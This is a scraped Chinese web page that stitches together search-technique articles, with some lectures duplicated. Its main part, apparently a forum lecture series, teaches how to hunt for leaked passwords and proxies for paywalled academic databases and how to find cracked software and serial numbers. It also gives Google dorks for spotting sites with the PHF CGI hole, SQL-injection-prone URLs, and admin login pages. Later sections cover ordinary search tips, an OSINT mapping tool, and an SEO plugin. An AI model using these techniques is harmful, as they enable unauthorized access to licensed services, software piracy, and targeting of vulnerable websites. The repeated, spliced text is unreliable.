如检索brain research,可列出brain research bulltin,同时检索,效果要好些。
第七讲 搜索公开的代理服务器技巧。
中文:
代理 维普(或其它数据库名) 数据库,能找到一些,但国内一般真正使用代理的较少。
英文:
proxy 数据库名 IE netscape
效果非常好,但一定要注意,许多地方不仅用代理服务器,而且需密码认证,不可过于乐观!应认真鉴别。
第八讲。先插几句废话,本论坛的目的是培养真正懂得搜索技巧的人员,当然搜索技巧不只是密码之类,还应包括检索常用文件,pubmed等,这也是水平和本领,切不可以找密码为乐。我们应该培养全方位的文献检索能力,否则即使有密码,也未必找到自己所需的信息,网海茫茫,有用者若斯!
现在进入正题,今天讲百度和google语法,其实这在从google入门到精通中都有所阐述这是重提,以示重视,并无太多的新意,只是将大理论与实际相结合起来。
找特定文件名的文件,尤其是PDF、ZIP、swf、DOC、TXT、RAR、EXE、RM、Mp3,MOV,PPT这些文件名都是网友想找的重点,至于各是什么类型文件,请上网查一下便知道了,这里不多说了。尤其老板让你做个powerpoint,找不到图怎么办?用google去搜索。
方法是利用语法filetype:后缀名。
如找PDF文件,在正常关键词后面加filetype DF即可,搜索结果全是PDF文件。这是我写的另一篇,可参考:
... p;ID=839&page=1
找特定题目的网页语法intitle:网站
查找友情链接:
"link:"(英文单字link后加冒号)用于搜索链接到某个URL地址的网页。可以了解有哪些网页把链接指向您的网页查找特定站点:
site:*.com
如 金庸 古龙 site:
但不可加入或/这类,否则是错的。
"cache"用来搜索GOOGLE服务器上某页面的缓存,通常用于查找某些已经被删除的死链接网页,相当于使用普通搜索结果页面中的"网页快照"功能。
示例:查找GOOGLE缓存的中文yahoo首页
搜索:"cache:"
info用来显示与某链接相关的一系列搜索,提供cache、link、related和完全包含该链接的网页的功能。
示例:查找和新浪首页相关的一些资讯。
搜索:"info:"
结果:有的网页信息。
示例:查找美国教育网上的宇宙大爆炸jpg图片
搜索:"BIG BANG filetype:jpg site:edu"
结果:搜索有关 BIG BANG filetype:jpg site:edu 的图片
第九讲,专讲一个特殊语法,很有用:inurl。
"inurl"语法返回的网页链接中包含第一个关键字,后面的关键字则出现在链接中或者网页文档中。有很多网站把某一类具有相同属性的资源名称显示在目录名称或者网页名称中,比如"MP3"、"GALLARY"等,于是,就可以用INURL语法找到这些相关资源链接,然后
,用第二个关键词确定是否有某项具体资料。INURL语法和基本搜索语法的最大区别在于,前者通常能提供非常精确的专题资料。
示例:查找MIDI曲"沧海一声笑"。
搜索:"inurl:midi 沧海一声笑"
结果:已搜索有关inurl:midi 沧海一声笑的中文(简体)网页。
示例:查找微软网站上关于windows2000的安全课题资料。
搜索:"inurl:security windows2000 site:"
结果:已在内搜索有关inurlecurity windows2000 的网页。
注意:"inurl:"后面不能有空格,GOOGLE也不对URL符号如"/"进行搜索。例如,GOOGLE会把"cgi-bin/phf"中的"/"当成空格处理。
而一般众多密码或数据库往往出现在链接之中,如查Ideallibrary
inurl:ideallibrary proxy passowrd(ID)
"allinurl"语法返回的网页的链接中包含所有作用关键字。这个查询的关键字只集中于网页的链接字符串。
示例:查找可能具有PHF安全漏洞的公司网站。通常这些网站的CGI-BIN目录中含有PHF脚本程序(这个脚本是不安全的),表现在链接中就是"域名/cgi-bin/phf"。
语法:"allinurl:"cgi-bin" phf +com"
搜索:已向英特网搜索allinurl:"cgi-bin" phf +com. 共约有37项查询结果,这是第1-10项 。搜索用时0.36秒
补充讲site语法
site即将搜索定位于某一个域名上,有利于缩小搜索范围,提高搜索效率 。如keywords site:edu,效果很好!可以方便地搜索到各大学内有用的资源,至于关键词的选择,其它讲都有了。
site:tw, site:edu.tw, site: .......
这是定位于国家或地区,将搜索局限于某些国家或地区,或加上edu,则是这些国家或地区的大学,效果自然更好。如果site:则搜索国内医科大学内的资源(会漏综合性大学的资源的,要慎用)。
一般的,欧美人的版权意识强,一般密码不易公布,相反,非洲、美洲、亚洲则往往公开密码,这是获得密码的最重要来源之一,善于利用这些地方的资源有助于提高搜索效率。这是site两大好处,不可忽视!
也许您正为文章烦恼,一篇论文完成耗时数月,而在发表时却是坎坷万千。
我们提供以下指导和服务:
评估服务、翻译、润色服务、文章综合编辑服务、SCI论文降重、文章校对等SCI论文服务。
识别二维码即可咨询
尚辑Sagesci ● SCI论文服务品牌
查看全部
你想要的文献搜索方法都在这里
2、很时候我们可以下载下来,但以上面说的那种方法进行回推时,常常会出现"Forbidden"的页面,这是很多网站都存在的bug。
要解决个问题就需要利用这个bug和靠你对所查找的内容比较熟悉。就举一个简单的例子:google里检索"molecular biology of the gene"时
... 0211/Chapter209.ppt这时我只是对最后面的"209"进行简单的更改为"201-220"就可以得到这本书完整的ppt文件。还有的最后面是出现字母,可对相应的字母进行修改即可,最难的是要对文件名进行修改,这就需要比较扎实的专业基础。
3、不要瞧不起中文艺工作者网站。以英文作为关键词进行搜索时英文网站总是出现在最前面,而等看到中文网站时都已经失去了耐心,我们有时候可搜索中文网站,往往会得到很多意想不到的东西。特别是我们隔岸相往的同胞做的ppt也是相当的漂亮!
4、放宽检索范围。
5、我们最后要解决的是下载问题。很网站提供很多下载链接,下载速度一般只有3、5kb, 最糟的只有几百字节。而一般的网页只能同时对两个文件进行下载。解决的方法是重新打开IE然后在新的窗口打开链接,有一次我同时打开十几个窗口进行下载,很快就把所有的内容下载下来。这种下载方法要慎用,这很容易造成对网站的恶意下载。
6、很多网站提供ppt下载的时候也同时提供动画在线观,看着这么多的漂亮东东却无法下载。不是很可惜吗?有关这方面的内容wfj2000在其它帖子已提到过我就不说了。
恳请各位高手对我提出宝贵意见。
四、Bioon全心奉献的系列检索讲座
注意:本讲座中的方法适用于生物与医学的免费全文的文献检索,以及网上各种有用的资料的搜索(幻灯片,各种讲座资料,电子书等),通过使用这些技巧并与著名搜索引擎google(,中文的多使用百度配合使用,以下所有内容都是基于这两个搜索引擎讲解的,更多的讲座见论坛中检索技巧版( )
第一讲:关键词的选择技巧.
推荐先读读google从入门到精通等论文(请注册后再登录)
( ... ;ID=2997&skin=1)
我们了解常规搜索方式,但每个人都会搜索出不同结果,为什么?核心问题在于关键词选择不同。
关键的分析必须保证两点:
一是专业性,即这个词是很精的,可能简化你的搜索结果,因而词甚至可以怪一点,尽量避免大众化的词,如net,site等。即使需要大众化词,如password,username,但若加入一两个特征词,则结果将大大简化。
二是具有代表性,也即这个词具有代表意义,也即它在包含你所需网页内,它在出现的可能,以免一些有用信息被遗漏。
如何达到上述两个要求?我们必须分析网页中字词出现的特点,以及本学科专业词汇特征。
大家看看yahoo,google等medicine和science--biology条目下的分类,发现许多相关的词均在内,如
医学有关的都在Science & Technology 大条目下,又细分为:
Agriculture & Food | Biology | Botany | Chemistry | Computer Science | Enginee
ring | Environmental Dynamics | Geology | Kinesiology | Mathematics | Medicine
| Nursing | Physics | Psychology | Statistics | Zoology。
因此如果仅以medicine检索,就会漏掉不少很有价值的信息,特别是漏掉的专业的。
其次,在medicine下又有很多数据库,如:EBSCO OVID,PROQUEST还有各大出版社自己的万能密码。
大家应该明白一些了吧。
第二讲:主要讲定点搜索和遍搜索的区别及应用。
所谓定点搜索,即指定找某个数据库相关信息,或某篇论文。
遍搜索是指在网上任意逛逛,找些pswd,或者无心插柳柳成荫。
(1)定点数据库和期刊搜索。还是同第一讲一样,主要分析关键词的选择。当然关键词之一是这个数据库的名称。大家注意了:数据库名称一定要用全称和简称都试试。
关键词之二是free,ID,password,user name。
为什么这个关键词?其实这些只能称作是一个关键词,因为它们具有同性或不相容性。如elservier数据库,你最好不要用username和password,因为它主要是采用IP限制的。因而你的重点放在pxory!而不是上述的任何一个。而找某一杂志,则多用user name 和ID/pas
sword合用(注:ID/password只可用一个!),因为杂志往往个人购买,便拥有帐号了。
关键词三:这些数据库可能出现的地方?大学图书馆最多!即使是杂志,图书馆也较个人帐号多。那么图书馆主页上有哪些关键词?library,database,trial,free....,可看看国内一些图书馆的主页,仔细分析比较,便能找到一些共性的东西。
(2)定点论文搜索。
论文,在国外通用PDF格式,因而论文搜索必须用PDF这个核心内容。即找后缀为PDF的东东,语法:filetype DF 这是关键之一
关键词之二:找你所需论文的题或文摘中最怪的词!而不是常用词。(不要用很专业的词往往能找到相近的论文,所谓无心插柳了)
命中率高,但最好是题目中出现的词,为什么?因为往往许多个人站点收录了不少论文,而这些论文往往是以题目名称作为索引的。
第三讲 实战演习-----专业文献搜索技巧。
专业文献与普通文献不同,很难查到。这是本人长期搜索的技巧,十分有效,查专业文献实在好!
1. 查找某本专业刊物的登录密码,如Brain Res
首先选关键词:杂志名(Brain Res),登录(sign in),密码(password)
这样成功率并不高,其实细细看来,不应有登录,因为许多提供密码的地方,并不出现登录这个词,而多出现用户名(user name),而且杂志名多用全称(brain research),再试试
!哦,成功了!
2. 查找某篇论文的全文,尤其是外文文献,许多全文服务均需收费。
当然可先按第一种方法搜索一下,看看有无密码可寻,若无,则找到该篇论文的特殊字段(key words),然后搜索PDF文件。不过这有几个条件,一是该杂志确已上网,有明确地址 ,其二,一般需在1997年以后文献才可。
举例:Gattullo D, Pagliaro P, Marsh NA, Losano G。New insights into nitric oxide and coronary circulation.Life Sci 1999;65(21):2167-74。
这篇论文是收费的。采用:inurldf:Gattullo Pagliaro coronary,结果24项,找到其中的第2页,有下面一项Life Sciences [Volume 65, Issue 21, Pages 2167-2268 (1999)]
... 1. New Insights into Nitric Oxide and Coronary Circulation, Pages 2167-2174 D. Gattullo, P. Pagliaro, NA Marsh and G. Losano 2. ...
147.46.94.112/journal/sej/j_l/l339.htm - 14k - 网页快照 - 类似网页
打开网页快照,第一篇即是其目录,下载即可!OK!成功
3. 查找专业软件的破解软件或注册码
常规软件的注册码很好找,但专业软件太少,而且注册码也少,破解更少,如何找?
如找origin 6.1版的破解版,或注册码。不管采用网易、搜狐等软件搜索,均找不到该软件。那么只好借用特殊搜索了。
分析:一般有些破解软件的页面一般至少有以下一些信息:软件名称,版本,序列号(serial number, OR sn),破解(crack, OR CRK),提供下载的地方有.ZIP字样(压缩文件为多
)。为了方便起见,也防止版本太精确反而不易搜索的特点,在googlek 输入origin 破解, 哦!OK!成功!如果其它的软件一次搜索的结果太多的话,则考虑加6.1以减小其搜索范围。或搜索结果太少且不是需要的话,将破解换为"注册码"试试,一般效果不错。
4. 查找中文文献的免费全文如我知道重庆维普提供免费全文服务,但目前许多站点都不能用了。另外,还有万方数据库、CNKI也提供,那么我如何查到这些数据库的免费入口呢?
这需要一定的技巧,采用google或百度试试:输入:重庆维普 密码哦!66项!仔细找一找,必有结果!OK!
第四讲 百度与google比较 。
大家好,这一讲讲百度与google比较
搜索英文不必说用google,搜索中文呢?
很多人并不了解它们更新的情况,google发展早,因而它贮存了大量旧的信息,百度发展迟,信息较新。
更新速度:对中文google一般半月至一月一更新,而且仅搜索到三级链接,三级以下便不在搜索,那么我如何看到最新的google搜索的结果呢?这个站点:,可见google采用不同服务器逐步更新的。百度的更新较快,半月一次,最快一周。那么如何衡梁这半月与一月的差剧与价值?
对于一些试用数据库,有效期短,或象万方等一月一换密码,最好选用百度,现在维普老是打一枪换一个地方,因而也只好用百度了,google往往搜索出来的结果已过期了。而能长期使用的密码或数据库,一般象国外的(国内有没有,我真不知道),最好用google,
毕竟技术更老道一些,搜索出的结果更多,更广!
第五讲 补充讲一点关键词的选择。
关于关键词,最近看到高手huangwei98 公布的一些关键词,很值得参考。但总之一句话,
高手=技巧+时间,有时多看看,往往获得其它的密码,这是太正常的事了。
关键词组合:
nurse journal password
new medicine password
What's New medicine password
périodiques électroniques password( 注意了,不是英文字母样!)
biomedical library password
LWW Journal Collection password
Bibliotekets databaser password
Kluwer Online password
journalwebsite password
基本路子仍是数据库+password+补充性关键词(或称定向性关键词)
所谓定向性关键词是将你的检索范围定于某一可能的区域,如图书馆、个人站点,以缩小检索范围。如单个杂志,可定位于个人,若是数据库检索,则宜加library,因为个人是不会买数据库的。同时另一个定向是生物和医学,所用的关键词medicine,biology,biomed.
当然仍可加第三定向关键词,如杂志(journal)、免费(free)、在线(online),但一定要注意第三关键词的特征性不强,要选择使用,不可过用,否则会将一大批可能有用的站点排除掉,切记!
但这主要针对国外的,而国内的一般多在各大学图书馆内,常用密码、免费、杂志、数据库名等搜索,效果较好。
但对于有些杂志,如sciencedirect,Ideallibrary多采用IP验证方式,一般密码并不能用,这时多采用代理服务器方式,因而如何找到有效的代理太重要的。如清华的elsevier便是代理。下下一讲讲如何找代理。
第六讲 关键词联合使用。
国内图书馆提到数据库往往只提***数据库,而国外图书馆多列出该数据库内各种杂志名,而且多按字母分类。因而为了提高检索的准确率,一般将同一数据库内的杂志的首字母相同的杂志名用两到三个联合搜索,再结合前面讲的加用其它关键词,能有效缩小检索范围
,翕中率极高。从这里可以看到,如果透彻分析一些图书馆内主页设计的特征,是搜索的关键。
如检索brain research,可列出brain research bulltin,同时检索,效果要好些。
第七讲 搜索公开的代理服务器技巧。
中文:
代理 维普(或其它数据库名) 数据库,能找到一些,但国内一般真正使用代理的较少。
英文:
proxy 数据库名 IE netscape
效果非常好,但一定要注意,许多地方不仅用代理服务器,而且需密码认证,不可过于乐观!应认真鉴别。
第八讲。先插几句废话,本论坛的目的是培养真正懂得搜索技巧的人员,当然搜索技巧不只是密码之类,还应包括检索常用文件,pubmed等,这也是水平和本领,切不可以找密码为乐。我们应该培养全方位的文献检索能力,否则即使有密码,也未必找到自己所需的信息,网海茫茫,有用者若斯!
现在进入正题,今天讲百度和google语法,其实这在从google入门到精通中都有所阐述这是重提,以示重视,并无太多的新意,只是将大理论与实际相结合起来。
找特定文件名的文件,尤其是PDF、ZIP、swf、DOC、TXT、RAR、EXE、RM、Mp3,MOV,PPT这些文件名都是网友想找的重点,至于各是什么类型文件,请上网查一下便知道了,这里不多说了。尤其老板让你做个powerpoint,找不到图怎么办?用google去搜索。
方法是利用语法filetype:后缀名。
如找PDF文件,在正常关键词后面加filetype DF即可,搜索结果全是PDF文件。这是我写的另一篇,可参考:
... p;ID=839&page=1
找特定题目的网页语法intitle:网站
查找友情链接:
"link:"(英文单字link后加冒号)用于搜索链接到某个URL地址的网页。可以了解有哪些网页把链接指向您的网页查找特定站点:
site:*.com
如 金庸 古龙 site:
但不可加入或/这类,否则是错的。
"cache"用来搜索GOOGLE服务器上某页面的缓存,通常用于查找某些已经被删除的死链接网页,相当于使用普通搜索结果页面中的"网页快照"功能。
示例:查找GOOGLE缓存的中文yahoo首页
搜索:"cache:"
info用来显示与某链接相关的一系列搜索,提供cache、link、related和完全包含该链接的网页的功能。
示例:查找和新浪首页相关的一些资讯。
搜索:"info:"
结果:有的网页信息。
示例:查找美国教育网上的宇宙大爆炸jpg图片
搜索:"BIG BANG filetype:jpg site:edu"
结果:搜索有关 BIG BANG filetype:jpg site:edu 的图片
第九讲,专讲一个特殊语法,很有用:inurl。
"inurl"语法返回的网页链接中包含第一个关键字,后面的关键字则出现在链接中或者网页文档中。有很多网站把某一类具有相同属性的资源名称显示在目录名称或者网页名称中,比如"MP3"、"GALLARY"等,于是,就可以用INURL语法找到这些相关资源链接,然后
,用第二个关键词确定是否有某项具体资料。INURL语法和基本搜索语法的最大区别在于,前者通常能提供非常精确的专题资料。
示例:查找MIDI曲"沧海一声笑"。
搜索:"inurl:midi 沧海一声笑"
结果:已搜索有关inurl:midi 沧海一声笑的中文(简体)网页。
示例:查找微软网站上关于windows2000的安全课题资料。
搜索:"inurl:security windows2000 site:"
结果:已在内搜索有关inurlecurity windows2000 的网页。
注意:"inurl:"后面不能有空格,GOOGLE也不对URL符号如"/"进行搜索。例如,GOOGLE会把"cgi-bin/phf"中的"/"当成空格处理。
而一般众多密码或数据库往往出现在链接之中,如查Ideallibrary
inurl:ideallibrary proxy passowrd(ID)
"allinurl"语法返回的网页的链接中包含所有作用关键字。这个查询的关键字只集中于网页的链接字符串。
示例:查找可能具有PHF安全漏洞的公司网站。通常这些网站的CGI-BIN目录中含有PHF脚本程序(这个脚本是不安全的),表现在链接中就是"域名/cgi-bin/phf"。
语法:"allinurl:"cgi-bin" phf +com"
搜索:已向英特网搜索allinurl:"cgi-bin" phf +com. 共约有37项查询结果,这是第1-10项 。搜索用时0.36秒
补充讲site语法
site即将搜索定位于某一个域名上,有利于缩小搜索范围,提高搜索效率 。如keywords site:edu,效果很好!可以方便地搜索到各大学内有用的资源,至于关键词的选择,其它讲都有了。
site:tw, site:edu.tw, site: .......
这是定位于国家或地区,将搜索局限于某些国家或地区,或加上edu,则是这些国家或地区的大学,效果自然更好。如果site:则搜索国内医科大学内的资源(会漏综合性大学的资源的,要慎用)。
一般的,欧美人的版权意识强,一般密码不易公布,相反,非洲、美洲、亚洲则往往公开密码,这是获得密码的最重要来源之一,善于利用这些地方的资源有助于提高搜索效率。这是site两大好处,不可忽视!
也许您正为文章烦恼,一篇论文完成耗时数月,而在发表时却是坎坷万千。
我们提供以下指导和服务:
评估服务、翻译、润色服务、文章综合编辑服务、SCI论文降重、文章校对等SCI论文服务。
识别二维码即可咨询
尚辑Sagesci ● SCI论文服务品牌
好可怕的搜索引擎!
网站优化 • 优采云 发表了文章 • 0 个评论 • 68 次浏览 • 2022-05-14 08:11
来源 |小白学黑客
作者 |小白哥
信息搜集和社会工程学是网络安全的非常重要组成部分。
今天这篇文章就来介绍下信息搜集方面经常用到的技术:Google Hacking,就算暂时没有太多专业的网络安全知识,但是如果能熟练运用搜索引擎,也能变身一个小小的黑客。
Google Hacking,字面意思是利用 Google 搜索引擎搜索信息来进行入侵的技术和行为,现在已经引申为利用一切搜索引擎进行网络入侵的技术和行为。
搜索引擎大家都用过,在搜索框中输入关键词,一键回车,结果就展示在我们面前。但实际上,这个搜索框内藏玄机,除了关键词,还有别的用法。
搜索引擎对于搜索的内容提供了多种语法,通过构造特定的搜索语句,能够快速全面地让攻击者挖掘到有价值的信息。
本文列举一些常用的例子,如果没有特别说明,本文列出的搜索语法在 Google 和百度中都能适用,本文内容以 Google 为例展示。
site
语法:site
作用:限定在特定的网址中搜索
有时候全网搜索有点像大海捞针,而如果我们有特别关心的网站,想只显示这个网站的搜索结果,就可以用到 site 语法,比如我在微软的官网内搜索漏洞编号 CVE-2014-4114:
可以看到,显示的结果都是在指定网站中的,大大减少了我们在海量信息中的筛选成本。
实际上,不少网站为了省事,这些网站的站内搜索功能就是利用搜索引擎的 site 语法来实现的。
filetype
语法:filetype
作用:搜索特定的文件类型
有时候我们想找特定类型的文档,比如 PPT、PDF 等,但默认情况下出来的都是网页,很难找到我们想要的内容,这个时候就可以用上 filetype 语法。比如我想搜索 web 安全相关的 PDF 电子书:
这下出来的,都是我们想要的了,用这一招搜索技术文档、电子书等等屡试不爽哦。
inurl
语法:inurl
作用:在 URL 中搜索出现指定内容的链接
这一个语法有什么用?普通人很少直接关心链接本身的内容,但是对于咱们 hacker 来说,URL 就重要了,比如我们可以用来搜索可能存在 SQL 注入的链接:
除了 SQL 注入,还可以搜索可能存在的网站后台管理入口:
如果我们再加上前面的 site 语法组合使用,就可以找出指定网站的这种链接了,定向寻找攻击点。
intitle
语法:intitle
作用:在网页 title 中搜索出现指定内容的网页
除了在 URL 中搜索,咱们还能在标题中搜索。一般网站后台管理页面都会带有“后台”、“管理”、“登录”等字眼,我们可以通过在 HTML 的 title 字段位置搜索这些关键词,寻找可疑的后台登录页面。
intext
语法:intext
作用:除了 URL 和 title,剩下的就是正文位置搜索了
比如我们搜索使用 discuz 搭建的论坛网站:
Google Hacking DataBase
看了这么多,不知道你学废了吗?
如果没有也没有关系,这里有个神器:Google Hacking 数据库,汇集了非常多的有价值的搜索语句,你可以用这些来搜搜看,看看能不能发现些什么信息。
学会使用搜索引擎,是每一个 hacker 必备的技能之一,看完这篇赶紧操练起来,动动手试一试。不过以学习为主,切莫拿去做违法事情哦,现在的网络安全法那可不是闹着玩的! 查看全部
好可怕的搜索引擎!
来源 |小白学黑客
作者 |小白哥
信息搜集和社会工程学是网络安全的非常重要组成部分。
今天这篇文章就来介绍下信息搜集方面经常用到的技术:Google Hacking,就算暂时没有太多专业的网络安全知识,但是如果能熟练运用搜索引擎,也能变身一个小小的黑客。
Google Hacking,字面意思是利用 Google 搜索引擎搜索信息来进行入侵的技术和行为,现在已经引申为利用一切搜索引擎进行网络入侵的技术和行为。
搜索引擎大家都用过,在搜索框中输入关键词,一键回车,结果就展示在我们面前。但实际上,这个搜索框内藏玄机,除了关键词,还有别的用法。
搜索引擎对于搜索的内容提供了多种语法,通过构造特定的搜索语句,能够快速全面地让攻击者挖掘到有价值的信息。
本文列举一些常用的例子,如果没有特别说明,本文列出的搜索语法在 Google 和百度中都能适用,本文内容以 Google 为例展示。
site
语法:site
作用:限定在特定的网址中搜索
有时候全网搜索有点像大海捞针,而如果我们有特别关心的网站,想只显示这个网站的搜索结果,就可以用到 site 语法,比如我在微软的官网内搜索漏洞编号 CVE-2014-4114:
可以看到,显示的结果都是在指定网站中的,大大减少了我们在海量信息中的筛选成本。
实际上,不少网站为了省事,这些网站的站内搜索功能就是利用搜索引擎的 site 语法来实现的。
filetype
语法:filetype
作用:搜索特定的文件类型
有时候我们想找特定类型的文档,比如 PPT、PDF 等,但默认情况下出来的都是网页,很难找到我们想要的内容,这个时候就可以用上 filetype 语法。比如我想搜索 web 安全相关的 PDF 电子书:
这下出来的,都是我们想要的了,用这一招搜索技术文档、电子书等等屡试不爽哦。
inurl
语法:inurl
作用:在 URL 中搜索出现指定内容的链接
这一个语法有什么用?普通人很少直接关心链接本身的内容,但是对于咱们 hacker 来说,URL 就重要了,比如我们可以用来搜索可能存在 SQL 注入的链接:
除了 SQL 注入,还可以搜索可能存在的网站后台管理入口:
如果我们再加上前面的 site 语法组合使用,就可以找出指定网站的这种链接了,定向寻找攻击点。
intitle
语法:intitle
作用:在网页 title 中搜索出现指定内容的网页
除了在 URL 中搜索,咱们还能在标题中搜索。一般网站后台管理页面都会带有“后台”、“管理”、“登录”等字眼,我们可以通过在 HTML 的 title 字段位置搜索这些关键词,寻找可疑的后台登录页面。
intext
语法:intext
作用:除了 URL 和 title,剩下的就是正文位置搜索了
比如我们搜索使用 discuz 搭建的论坛网站:
Google Hacking DataBase
看了这么多,不知道你学废了吗?
如果没有也没有关系,这里有个神器:Google Hacking 数据库,汇集了非常多的有价值的搜索语句,你可以用这些来搜搜看,看看能不能发现些什么信息。
学会使用搜索引擎,是每一个 hacker 必备的技能之一,看完这篇赶紧操练起来,动动手试一试。不过以学习为主,切莫拿去做违法事情哦,现在的网络安全法那可不是闹着玩的!
这几个百度搜索技巧,小电影都搜的到!
网站优化 • 优采云 发表了文章 • 0 个评论 • 248 次浏览 • 2022-05-14 07:59
先说百度网盘网盘是个好东西,现在除了被干掉的快播,就某某网盘最火了,当然,最火的这个不是百度网盘。
我们看图说话:
再来个正儿八经的(你也可以搜必的小电影)
完美!!
在看看python书籍
pdf也是个好东西
下面介绍几种百度搜索技巧
1、 关键词加引号
比如我要搜索:python教程app,在搜索的时候很有可能会把”pthon“和“教程app”拆分开,然后分别进行搜索,这时候我们可以把关键词放入引号内,就代表完全匹配搜索,也就是所显示的搜索结果一定包含完整的关键词,不会出现近义词和拆分的情况。
这不就是老曾写的App吗?
2、site:用于搜索指定网站下的关键信息
比如我只想在我自己博客网站上搜索“计算”这个信息,我可以使用关键词 site:计算 进行搜索,这样搜出来的信息都是我博客上的内容。如下图:
3、在标题里面限定进行精准搜索
如果我们想得到搜索结果的标题中包含我们输入的关键词,这时候可以用intitle:进行限定。
比如我想搜索引擎返回的结果在标题里面包含“程序员”这个关键词,可以输入关键词:intitle:程序。如下图:
4、 精准搜索你要的文档类资料
有时候我们想在百度上找某个课程的文档,但是搜出来的信息总不是自己想要的,可以试一下关键词:filetype:+文档格式。
比如我们想在网上搜索高等数学课doc格式的文章,我们可以这样搜索:python filetype:ppt,如下图:
5、 指定链接进行精准搜索
在网页链接中我们可以限定关键词进行搜索,只要在关键词前面加:inurl:
例如:我要精准搜索关键词:Java
可以输入关键词:inurl:Java,如下图:
-------------------------
记住,搜索的时候关键词越短越好,搜索内容就越多
谭庆波
就这些,各位朋友,觉得有用的话记得点个赞!
微信8.0将好友放开到了一万,小伙伴可以加我大号了,先到先得,再满就真没了 查看全部
这几个百度搜索技巧,小电影都搜的到!
先说百度网盘网盘是个好东西,现在除了被干掉的快播,就某某网盘最火了,当然,最火的这个不是百度网盘。
我们看图说话:
再来个正儿八经的(你也可以搜必的小电影)
完美!!
在看看python书籍
pdf也是个好东西
下面介绍几种百度搜索技巧
1、 关键词加引号
比如我要搜索:python教程app,在搜索的时候很有可能会把”pthon“和“教程app”拆分开,然后分别进行搜索,这时候我们可以把关键词放入引号内,就代表完全匹配搜索,也就是所显示的搜索结果一定包含完整的关键词,不会出现近义词和拆分的情况。
这不就是老曾写的App吗?
2、site:用于搜索指定网站下的关键信息
比如我只想在我自己博客网站上搜索“计算”这个信息,我可以使用关键词 site:计算 进行搜索,这样搜出来的信息都是我博客上的内容。如下图:
3、在标题里面限定进行精准搜索
如果我们想得到搜索结果的标题中包含我们输入的关键词,这时候可以用intitle:进行限定。
比如我想搜索引擎返回的结果在标题里面包含“程序员”这个关键词,可以输入关键词:intitle:程序。如下图:
4、 精准搜索你要的文档类资料
有时候我们想在百度上找某个课程的文档,但是搜出来的信息总不是自己想要的,可以试一下关键词:filetype:+文档格式。
比如我们想在网上搜索高等数学课doc格式的文章,我们可以这样搜索:python filetype:ppt,如下图:
5、 指定链接进行精准搜索
在网页链接中我们可以限定关键词进行搜索,只要在关键词前面加:inurl:
例如:我要精准搜索关键词:Java
可以输入关键词:inurl:Java,如下图:
-------------------------
记住,搜索的时候关键词越短越好,搜索内容就越多
谭庆波
就这些,各位朋友,觉得有用的话记得点个赞!
微信8.0将好友放开到了一万,小伙伴可以加我大号了,先到先得,再满就真没了
【工具类】查找指定位置附近的社交媒体内容
网站优化 • 优采云 发表了文章 • 0 个评论 • 103 次浏览 • 2022-05-12 02:00
在FB和INS上,我们可以搜索指定位置的发帖内容。但是这样工作效率太低,我们无法全面掌握目标区域内的所有内容(除非有一张该区域内可搜索的地点清单)。网页工具Instahunt为我们提供了很好的帮助,能够快速在地图显示指定位置附近所有的FB和INS链接。
Instahunt链接:
1.账号登录
搜索之前登录您的FB账号和INS账号
2.获取JSON数据在右上角填入目标位置,之后点击左上角FIND PLACES得到所有JSON输出
3.地图可视化将JSON输出复制粘贴至指定文本框中,单击“映射您的INS地点”按钮后即可在地图上显示周围所有的FB和INS帖子,之后选择感兴趣的地点单击“查看帖子”即可。
以顿涅茨克为例,使用其乌克兰语Донецьк作为搜索关键词,在地图上显示的图像如下所示:
经过逐一查看,其中我们认为具有开源情报价值的是位于Парк кованых фигур(锻造人物公园)的一条INS:
关键信息:两天前发布;顿涅茨克;坦克。
针对热点事件,或许在之后的开源情报过程中也能利用类似方法提前预知局势走向。 查看全部
【工具类】查找指定位置附近的社交媒体内容
在FB和INS上,我们可以搜索指定位置的发帖内容。但是这样工作效率太低,我们无法全面掌握目标区域内的所有内容(除非有一张该区域内可搜索的地点清单)。网页工具Instahunt为我们提供了很好的帮助,能够快速在地图显示指定位置附近所有的FB和INS链接。
Instahunt链接:
1.账号登录
搜索之前登录您的FB账号和INS账号
2.获取JSON数据在右上角填入目标位置,之后点击左上角FIND PLACES得到所有JSON输出
3.地图可视化将JSON输出复制粘贴至指定文本框中,单击“映射您的INS地点”按钮后即可在地图上显示周围所有的FB和INS帖子,之后选择感兴趣的地点单击“查看帖子”即可。
以顿涅茨克为例,使用其乌克兰语Донецьк作为搜索关键词,在地图上显示的图像如下所示:
经过逐一查看,其中我们认为具有开源情报价值的是位于Парк кованых фигур(锻造人物公园)的一条INS:
关键信息:两天前发布;顿涅茨克;坦克。
针对热点事件,或许在之后的开源情报过程中也能利用类似方法提前预知局势走向。
技巧 | 如何搜索公众号里的指定内容 ?
网站优化 • 优采云 发表了文章 • 0 个评论 • 306 次浏览 • 2022-05-12 01:57
本期概要 :在使用微信,查找公众号相关资料和内容的时候,我们往往会用到搜索。但是很多朋友不清楚如何在指定公众号下面搜索特定的内容,需要一条一条翻阅历史消息,非常痛苦,今天给大家介绍简单易用的方法,轻松地找到你需要的内容。
以本公众号为例,方法可以用在所有其他公众号里。
第一步:点击所有文章,跳转到历史文章的页面。
第二步:把界面,整体往下拉。
第三步:出现搜索框,可以进行搜索了。
第四步:随意键入您要的关键词。建议输入少量精确的词语。
视频教程:
查看全部
技巧 | 如何搜索公众号里的指定内容 ?
本期概要 :在使用微信,查找公众号相关资料和内容的时候,我们往往会用到搜索。但是很多朋友不清楚如何在指定公众号下面搜索特定的内容,需要一条一条翻阅历史消息,非常痛苦,今天给大家介绍简单易用的方法,轻松地找到你需要的内容。
以本公众号为例,方法可以用在所有其他公众号里。
第一步:点击所有文章,跳转到历史文章的页面。
第二步:把界面,整体往下拉。
第三步:出现搜索框,可以进行搜索了。
第四步:随意键入您要的关键词。建议输入少量精确的词语。
视频教程:
如何一键识别网站质量?如何一秒搜索精准内容?
网站优化 • 优采云 发表了文章 • 0 个评论 • 112 次浏览 • 2022-05-11 19:20
前者可以帮你快速判断一个网站到底有没有料,提高信息筛选的效率;后者可以帮你快速定位自己要找的信息,即自定义搜索。
毕竟明明只想搜索网站A、B、C的内容,却一直刷到网站D、E、F的链接,是很头疼的。
—1—
MozBar谷歌插件
1.MozBar谷歌插件
第一款分享的工具是MozBar谷歌插件, 在谷歌浏览器的扩展程序中先安装插件。
下载地址:
这已经是个很出名的老牌搜索引擎优化插件了,可以用来评判网站好坏。
不仅可以用来评估别人的网站、网页质量,也可以用来评估自己的网站表现。
其中有两个值需要注意 :0-100取值,越大越优秀
DA(Domain Authority),网站权重的指标;
PA(Page Authority),网页权重指标。
左上角绿色图标还可以导出网页搜索的相关数据。
2. Mozbar一键识别网站质量
具体用法举个例子吧。
